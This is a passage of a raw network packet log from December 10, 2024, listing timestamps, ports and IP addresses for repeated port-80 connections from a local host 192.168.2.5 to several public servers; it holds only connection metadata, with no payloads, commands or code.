Dec 10, 2024 16:24:55.295464039 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:25:00.689793110 CET	49945	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:00.913428068 CET	80	49945	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:00.913500071 CET	49945	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:00.930907011 CET	49945	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:01.050132990 CET	80	49945	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:02.442109108 CET	49945	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:02.610971928 CET	80	49945	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:03.461167097 CET	49955	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:03.586097002 CET	80	49955	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:03.586196899 CET	49955	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:03.597537041 CET	49955	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:03.720109940 CET	80	49955	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:04.696904898 CET	80	49955	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:04.697022915 CET	80	49955	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:04.697169065 CET	49955	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:05.113751888 CET	49955	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:06.132576942 CET	49961	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:06.252741098 CET	80	49961	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:06.253398895 CET	49961	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:06.272141933 CET	49961	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:06.392450094 CET	80	49961	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:06.392465115 CET	80	49961	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:07.347980976 CET	80	49961	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:07.348056078 CET	80	49961	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:07.348123074 CET	49961	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:07.634676933 CET	80	49961	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:07.634731054 CET	49961	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:07.785746098 CET	49961	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:08.804914951 CET	49968	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:09.057667017 CET	80	49968	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:09.057743073 CET	49968	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:09.065984964 CET	49968	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:09.186410904 CET	80	49968	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:19.188924074 CET	80	49968	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:19.188941002 CET	80	49968	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:19.189090014 CET	49968	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:19.192341089 CET	49968	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:19.352365017 CET	80	49968	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:22.824421883 CET	80	49945	3.33.130.190	192.168.2.5
Dec 10, 2024 16:25:22.826234102 CET	49945	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:25:24.660504103 CET	49995	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:24.781789064 CET	80	49995	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:24.781955004 CET	49995	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:24.796169043 CET	49995	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:24.915539980 CET	80	49995	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:26.302170992 CET	49995	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:26.444973946 CET	80	49995	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:26.445143938 CET	49995	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:27.321480989 CET	49996	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:27.441878080 CET	80	49996	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:27.441948891 CET	49996	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:27.455949068 CET	49996	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:27.583658934 CET	80	49996	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:28.958389997 CET	49996	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:29.078142881 CET	80	49996	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:29.078255892 CET	49996	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:29.976552010 CET	49997	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:30.095957994 CET	80	49997	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:30.096096992 CET	49997	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:30.110182047 CET	49997	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:30.229554892 CET	80	49997	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:30.229624033 CET	80	49997	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:31.613836050 CET	49997	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:31.733447075 CET	80	49997	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:31.733537912 CET	49997	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:32.634183884 CET	49998	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:32.753469944 CET	80	49998	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:32.754312992 CET	49998	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:32.770186901 CET	49998	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:32.889481068 CET	80	49998	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:40.784006119 CET	80	49998	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:40.784101009 CET	80	49998	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:40.784275055 CET	49998	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:40.787024021 CET	49998	80	192.168.2.5	46.38.243.234
Dec 10, 2024 16:25:40.906336069 CET	80	49998	46.38.243.234	192.168.2.5
Dec 10, 2024 16:25:46.920365095 CET	49999	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:47.042906046 CET	80	49999	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:47.042983055 CET	49999	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:47.059088945 CET	49999	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:47.180469990 CET	80	49999	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:48.568365097 CET	49999	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:48.688707113 CET	80	49999	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:48.689929962 CET	49999	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:49.587327957 CET	50000	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:49.706986904 CET	80	50000	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:49.707067013 CET	50000	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:49.721002102 CET	50000	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:49.840517044 CET	80	50000	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:51.223206997 CET	50000	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:51.230290890 CET	80	50000	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:51.230348110 CET	50000	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:51.230396032 CET	80	50000	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:51.230451107 CET	50000	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:51.343481064 CET	80	50000	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:51.343537092 CET	50000	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:52.242110968 CET	50001	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:52.361376047 CET	80	50001	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:52.361660004 CET	50001	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:52.373214006 CET	50001	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:52.492641926 CET	80	50001	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:52.493120909 CET	80	50001	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:53.879832029 CET	50001	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:54.001362085 CET	80	50001	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:54.001631021 CET	50001	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:54.898746967 CET	50002	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:55.018651962 CET	80	50002	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:55.018965960 CET	50002	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:55.028652906 CET	50002	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:55.149743080 CET	80	50002	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:56.549738884 CET	80	50002	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:56.550185919 CET	80	50002	74.48.34.43	192.168.2.5
Dec 10, 2024 16:25:56.550295115 CET	50002	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:56.552856922 CET	50002	80	192.168.2.5	74.48.34.43
Dec 10, 2024 16:25:56.673989058 CET	80	50002	74.48.34.43	192.168.2.5
Dec 10, 2024 16:26:03.319787025 CET	50003	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:03.440805912 CET	80	50003	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:03.440910101 CET	50003	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:03.454128027 CET	50003	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:03.574112892 CET	80	50003	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:04.339154005 CET	80	50003	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:04.340358973 CET	50003	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:04.958014011 CET	50003	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:05.079885960 CET	80	50003	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:05.978256941 CET	50004	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:06.097762108 CET	80	50004	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:06.098093987 CET	50004	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:06.110238075 CET	50004	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:06.230545998 CET	80	50004	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:06.996220112 CET	80	50004	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:06.996278048 CET	50004	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:07.614012957 CET	50004	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:07.733375072 CET	80	50004	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:08.638266087 CET	50005	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:08.764569998 CET	80	50005	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:08.764684916 CET	50005	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:08.778256893 CET	50005	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:08.897763968 CET	80	50005	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:08.897778034 CET	80	50005	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:09.657939911 CET	80	50005	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:09.658023119 CET	50005	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:10.286278963 CET	50005	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:10.405761957 CET	80	50005	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:11.305443048 CET	50006	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:11.514919996 CET	80	50006	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:11.515029907 CET	50006	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:11.524070024 CET	50006	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:11.643485069 CET	80	50006	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:12.510463953 CET	80	50006	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:12.510591030 CET	50006	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:12.512280941 CET	50006	80	192.168.2.5	23.167.152.41
Dec 10, 2024 16:26:12.631845951 CET	80	50006	23.167.152.41	192.168.2.5
Dec 10, 2024 16:26:18.282540083 CET	50007	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:18.407552004 CET	80	50007	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:18.408590078 CET	50007	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:18.420305967 CET	50007	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:18.539577961 CET	80	50007	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:19.926376104 CET	50007	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:20.047137022 CET	80	50007	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:20.050421000 CET	50007	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:20.945914030 CET	50008	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:21.066070080 CET	80	50008	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:21.066159010 CET	50008	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:21.081820965 CET	50008	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:21.201214075 CET	80	50008	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:22.600328922 CET	50008	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:22.720355034 CET	80	50008	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:22.720421076 CET	50008	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:23.618009090 CET	50009	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:23.738310099 CET	80	50009	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:23.738396883 CET	50009	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:23.752264023 CET	50009	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:23.873110056 CET	80	50009	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:23.873292923 CET	80	50009	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:25.254544020 CET	50009	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:25.383502007 CET	80	50009	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:25.383580923 CET	50009	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:26.276303053 CET	50010	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:26.395787001 CET	80	50010	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:26.395908117 CET	50010	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:26.404894114 CET	50010	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:26.526845932 CET	80	50010	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:32.875821114 CET	80	50010	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:32.876219034 CET	80	50010	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:32.876348972 CET	50010	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:32.884429932 CET	50010	80	192.168.2.5	178.79.184.196
Dec 10, 2024 16:26:33.003869057 CET	80	50010	178.79.184.196	192.168.2.5
Dec 10, 2024 16:26:39.025959015 CET	50011	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:39.146110058 CET	80	50011	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:39.146193981 CET	50011	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:39.159554958 CET	50011	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:39.279916048 CET	80	50011	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:40.405989885 CET	80	50011	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:40.406110048 CET	80	50011	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:40.406311989 CET	50011	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:40.676340103 CET	50011	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:41.695879936 CET	50012	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:41.815382004 CET	80	50012	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:41.815464973 CET	50012	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:41.828942060 CET	50012	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:41.948410034 CET	80	50012	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:43.018282890 CET	80	50012	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:43.018441916 CET	80	50012	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:43.018496990 CET	50012	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:43.332602024 CET	50012	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:44.352088928 CET	50013	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:44.471765041 CET	80	50013	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:44.471913099 CET	50013	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:44.484082937 CET	50013	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:44.603653908 CET	80	50013	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:44.603846073 CET	80	50013	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:45.675806999 CET	80	50013	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:45.675965071 CET	80	50013	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:45.676024914 CET	50013	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:45.988936901 CET	50013	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:47.008857012 CET	50014	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:47.128364086 CET	80	50014	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:47.128453016 CET	50014	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:47.138627052 CET	50014	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:47.258568048 CET	80	50014	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:48.335143089 CET	80	50014	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:48.335160971 CET	80	50014	45.79.252.94	192.168.2.5
Dec 10, 2024 16:26:48.335377932 CET	50014	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:48.337982893 CET	50014	80	192.168.2.5	45.79.252.94
Dec 10, 2024 16:26:48.457530022 CET	80	50014	45.79.252.94	192.168.2.5
Dec 10, 2024 16:27:02.424437046 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:02.543752909 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:02.549700975 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:02.812504053 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:02.932004929 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.925805092 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.925899029 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.925909996 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.926116943 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:03.926188946 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.926259995 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:03.926498890 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.926512003 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.926532030 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.926559925 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:03.927342892 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.927364111 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.927381039 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:03.927418947 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:03.927440882 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.045502901 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.045569897 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.045727015 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.050055027 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.050137043 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.050240040 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.118630886 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.118838072 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.118892908 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.122704029 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.122741938 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.122806072 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.131078959 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.131170988 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.131220102 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.139622927 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.139688015 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.139739990 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.148289919 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.148350000 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.148416042 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.156598091 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.156673908 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.156774044 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.165055990 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.165265083 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.165326118 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.173515081 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.173621893 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.173691988 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.182168961 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.182353973 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.182424068 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.190609932 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.190696001 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.190762997 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.198457956 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.198620081 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.198723078 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.206692934 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.206950903 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.207016945 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.310410976 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.310442924 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.310496092 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.311769009 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.312355995 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.312413931 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.316586018 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.316704988 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.316761971 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.317069054 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.321432114 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.321491003 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.321517944 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.321563005 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.326227903 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.326303005 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.326308966 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.326371908 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.331007004 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.331065893 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.331073999 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.331124067 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.335691929 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.335747957 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.335777998 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.335819006 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.340441942 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.340493917 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.340527058 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.340569019 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.345006943 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.345055103 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.345082045 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.345118046 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.349657059 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.349723101 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.349733114 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.349765062 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.354202032 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.354253054 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:04.354254961 CET	80	50015	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:04.354301929 CET	50015	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:06.025970936 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:06.147397041 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:06.147497892 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:06.158276081 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:06.277826071 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.551311016 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.551563025 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.551574945 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.551628113 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.551759005 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.551784039 CET	80	50016	31.31.198.145	192.168.2.5
